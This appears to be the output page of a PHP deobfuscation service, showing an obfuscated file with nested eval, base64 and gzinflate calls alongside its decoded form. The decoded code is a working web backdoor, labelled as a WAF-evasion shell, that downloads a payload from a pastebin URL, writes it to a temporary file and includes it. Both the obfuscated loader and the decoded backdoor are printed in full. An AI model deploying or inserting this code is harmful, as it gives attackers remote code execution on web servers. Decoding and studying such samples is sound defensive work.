Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $enc = 'ZZOC36O8k5UA/e3h6Q/1U9qHo/H11MC3kVdklR1Cx93maE+dPsu2fZOaJb42cVs8xx/XQN7+vzA..

Decoded Output download

?>b'<?php
# TMP Backdoor
# Bypass 406 Not Acceptable & Auto Delete Shell (WAF Evasion Shell)
# Coded by: Immrex 7 - Solo
 
$data = [\'https://pastebin.com/raw/1BHJytSn\', \'/tmp/sess_\'.md5($_SERVER[\'HTTP_HOST\']).\'.php\'];
 
if(file_exists($data[1]) && filesize($data[1]) !== 0) {
    include($data[1]);
} else {
    $fopen = fopen($data[1], \'w+\');
    fwrite($fopen, get($data[0]));
    fclose($fopen);
    echo \'<script>window.location="?https://pastebin.com/raw/1BHJytSn";</script>\';
}
 
function get($url) {
    $ch = curl_init();
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
          curl_setopt($ch, CURLOPT_URL, $url);
          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    return curl_exec($ch);
          curl_close($ch);
}
?>'

Did this file decode correctly?

Original Code

<?php
$enc = 'ZZOC36O8k5UA/e3h6Q/1U9qHo/H11MC3kVdklR1Cx93maE+dPsu2fZOaJb42cVs8xx/XQN7+vzAu5BF26k6Cd3C4DdmrncPNvNQzpDG30DyiPZG9/CH2aSz1iQ1SK/K181ZZxYpQnSFK03kFenH+sQabA1oRlZrSV/OGbOSn23dXt+N+qBu8eTZjFssrFvIL25urY1SJ0DoIpJxUY+UIyZ4Mdat9EUXR8ZDMpaFlB312A5mBi0b3bC1MFD1jMdsI2SrQ4dJIXMvWq/sxeFll/cVN/MwrAhRM9ZJfPkNIm2wuA5ev1FX1WJJpPHHDxZp12Gsa2qPyJqe6u0p1A53TniAsBZaRvx1n69eoaV7va4mkZoEJ3RDqibAxnV+BPM9xuOHtFpTkStOL3ogloPejlrMlJVBgwUESiTLbQvBNcdRwv+Ae7FYamyTDDvJDjFxeRih6dm1Ek8ofgbyj+A7cQ+UwK4IQ4lgUj2QocYji5qYUYgCXB7N9eLhk8c4x8LMiYdL6OCzFfQQJjbm8PBj/ZuZzvnXnG+luFqg9i627/Rvtq6GystZpbmBuEiYpxSinx6lIvTE9uPg+PohmGJ+rM9D+u0PEAp9ivHVjcin/2EQyBwJe+vSAUHg/mEQ2B4fIB4dA';
eval(base64_decode(base64_decode('WlhaaGJDZ2lQejRpTG1kNmRXNWpiMjF3Y21WemN5aG5lblZ1WTI5dGNISmxjM01vWjNwcGJtWnNZWFJsS0dkNmFXNW1iR0YwWlNobmVtbHVabXhoZEdVb1ltRnpaVFkwWDJSbFkyOWtaU2h6ZEhKeVpYWW9KR1Z1WXlrcEtTa3BLU2twT3c9PQ=========')));exit;

Function Calls

strrev 1
gzinflate 3
gzuncompress 2
base64_decode 3

Variables

$enc ZZOC36O8k5UA/e3h6Q/1U9qHo/H11MC3kVdklR1Cx93maE+dPsu2fZOaJb42..

Stats

MD5 a653f891285c04d14ed3aa9597dde1ad
Eval Count 2
Decode Time 55 ms